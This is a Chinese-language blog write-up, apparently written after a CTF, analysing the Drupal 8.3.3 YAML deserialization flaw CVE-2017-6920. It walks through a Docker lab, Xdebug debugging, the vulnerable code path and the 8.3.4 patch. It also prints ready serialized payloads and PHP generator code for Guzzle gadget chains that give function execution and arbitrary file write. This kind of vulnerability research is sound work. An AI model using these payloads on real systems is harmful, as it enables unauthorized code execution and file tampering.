前几天在参加 FOFA-攻防挑战赛时，遇到了 Drupal 的盲盒漏洞环境，最终确定漏洞为 CVE-2017-6920 ，但是还是无法 getflag ，因为网上相关参考文章并不是很多，大多都只是简单的复现了，于是就想着对这个漏洞进行一个详细的分析。

漏洞描述

环境搭建

环境的搭建，我们可以选择 p神 的 Vulhub 上的环境，我们也可以利用 vulfocus 的在线环境，或者将镜像拉取下来本地启动。

因为 p 神的环境还需要再进行配置 yaml ，为了方便，我们这里就选择 vulfocus 的镜像来进行复现学习

docker pull vulfocus/drupal-cve_2017_6920:latest
docker ps

访问随机生成的端口 49156  http://127.0.0.1:49156/

漏洞复现

访问登录界面 http://127.0.0.1:49156/user/login

输入账号密码  admin:admin123

登录成功

登陆成功后访问路由 /admin/config/development/configuration/single/import

填写相关参数

!php/object "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"

点击 import 触发漏洞

漏洞分析

漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比，发现漏洞位于

corelibDrupalComponentSerializationYamlPecl.php

我们看到修改的位置有这么一句 // We never want to unserialize !php/object.

就大概可以推测出是在这个地方，以!php/object 为开头时 会产生反序列化漏洞

为了方便进行调试，所以我们换一下 docker 启动时的命令，方便启动后进行 php 远程调试，在配置调试环境时出现了各种问题，本来是在本地搭建 docker 环境进行调试的，但是一直没有成功，所以就采用在虚拟机中搭建 docker 环境，采用远程调试。

docker run -itd -p 80:80  vulfocus/drupal-cve_2017_6920:latest

wget https://xdebug.org/files/xdebug-2.5.5.tgz

docker cp xdebug-2.5.5.tgz  30:/xdebug-2.5.5.tgz

docker exec -it 30 /bin/bash

cd /

tar xvf xdebug-2.5.5.tgz

cd xdebug-2.5.5

phpize

find / -name php-config

/etc/alternatives/php-config
/usr/bin/php-config
/var/lib/dpkg/alternatives/php-config

./configure --enable-xdebug --with-php-config=/usr/bin/php-config

make && make install  ==xdebug 被安装到了 /usr/lib/php5/20121212/==

find / -name php.ini

/etc/php5/cli/php.ini
/etc/php5/apache2/php.ini

vim  /etc/php5/apache2/php.ini  ==修改 php.ini 文件==

shift + g   ==定位到最后一行==

echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php

sudo service apache2 restart

修改php.ini配置文件，在文件中追加以下内容

[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径
xdebug.remote_enable=1 ;是否开启远程调试
xdebug.remote_handler=dbgp ;指定远程调试的处理协议
xdebug.remote_mode=req ;可以设为req或jit，req表示脚本一开始运行就连接远程客户端，jit表示脚本出错时才连接远程客户端。
xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名（安装phpstorm的主机ip）
xdebug.remote_port=9001 ;指定远程调试的端口号
xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key
xdebug.remote_enable=on; 
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;
xdebug.remote_enable=1;
xdebug.remote_handler=dbgp;
xdebug.remote_mode=req;
xdebug.remote_host=192.168.222.1;
xdebug.remote_port=9001;
xdebug.idekey="PHPSTORM";

访问  http://192.168.222.129/phpinfo.php  发现 xdebug 被安装成功

先将代码拷贝出来 docker cp 30:/var/www/html html

利用 PHPSTROM 打开项目代码

File -> Settings ->  Languages & Frameworks -> PHP -> Debug

配置 Servers

此处要注意，需要直接指定到网站的目录位置

配置PHP Web Application

配置完成后打开右上角的电话按钮

打开浏览器的插件 Xdebug helper

在 phpinfo 处加载断点，并访问 http://192.168.222.129/phpinfo.php成功加载到断点

之前也配置过 PHP 的远程调试环境，但是在 Docker 里面调试的时候，配置了很久的调试环境，最后才成功，中间出了大大小小无数的问题，遇到的最大的问题是最开始端口一直显示被占用状态，因为我启动 docker 时的命令是 docker run -itd -p 80:80  -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来，但是我在调试时发现一直提示端口被占用，百思不得其解，采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ，我灵机一动，将 -p 9001:9001 给删除掉，就成功了。这下我才完全理解了，原来这个端口是远程调控，就是安装 PHPSTORM 机器上的端口。

正式开始调试分析

漏洞的最终触发位置是在

core/lib/Drupal/Component/Serialization/YamlPecl.php::decode

对传入的 参数 $raw 如果可控的话，如果使用!php/object，那么yaml_parse将会以反序列化（unserialize）的形式来进行处理字符串。

我们看在哪里可以调用 YamlPecl.php::decode

core/lib/Drupal/Component/Serialization/Yaml.php::decode

decode 函数中 调用了静态 getSerializer 函数

如果存在 yaml 扩展，$serializer 就使用 YamlPecl 类，之后会调用 YamlPecl 类中的 decode 函数；

如果不存在 yaml 扩展，$serializer 就使用 YamlSymfony 类，之后会调用 YamlSymfony 类中的 decode 函数。目前的环境是已经安装了 yaml 扩展了，所以我们只需要寻找，可控输入的 Yaml::decode

core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm

如此我们就已经确定了漏洞的触发位置，以及漏洞的入口点，但是距离漏洞的利用成功还差一个 payload

我们已经知道这个漏洞是一个反序列化漏洞，我们就要找出这个系统中存在的反序列化链，针对这个漏洞有两条利用链路，任意命令执行以及任意文件写入

任意命令执行

htmlvendorguzzlehttppsr7srcFnStream.php

反序列化这个类造成任意无参数函数执行

<?php
namespace GuzzleHttpPsr7;
class FnStream {
  public function __construct(array $methods)
  {
    $this->methods = $methods;
    // Create the functions on the class
    foreach ($methods as $name => $fn) {
      $this->{'_fn_' . $name} = $fn;
    }
  }
  public function __destruct()
  {
    if (isset($this->_fn_close)) {
      call_user_func($this->_fn_close);
    }
  }
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>

序列化字符串加上yaml的!php/object

!php/object "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:7:"methods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"

任意文件写入

htmlvendorguzzlehttpguzzlesrcCookieFileCookieJar.php

反序列化这个类达到任意文件写入的效果，但是因为这个系统启动并不是 root 权限启动，所以只有在 tmp 目录下写文件的权限

<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$Limerence = new FileCookieJar('/tmp/shell.txt');
$payload = '1';
$data=array(
    'Name' => "Limerence",
    'Value' => "Limerence",
    'Domain' => $payload,
    'Expires' => time()
);
$Limerence->setCookie(new SetCookie($data));
echo(addslashes(serialize($Limerence)));

!php/object "O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:14:"/tmp/shell.txt";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:0;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:9:{s:4:"Name";s:9:"Limerence";s:5:"Value";s:9:"Limerence";s:6:"Domain";s:1:"1";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";i:1657262153;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}"

漏洞修复

根据对比官方对 drupal 8.3.4 的修补，我们得出 针对低于版本 drupal 8.3.4 的代码中 在 corelibDrupalComponentSerializationYamlPecl.php 的 decode 函数修改为

 public static function decode($raw) {
    static $init;
    if (!isset($init)) {
      ini_set('yaml.decode_php', 0);
      $init = TRUE;
    }
    if (!trim($raw)) {
      return NULL;
    }
    set_error_handler([__CLASS__, 'errorHandler']);
    $ndocs = 0;
    $data = yaml_parse($raw, 0, $ndocs, [
      YAML_BOOL_TAG => 'DrupalComponentSerializationYamlPecl::applyBooleanCallbacks',
    ]);
    restore_error_handler();
    return $data;
  }

总结反思

之前也实现过远程调试，但是对 docker 内的系统进行调试还没有做过，不对的试错过程中，也对 docker 进一步加深的认知与了解。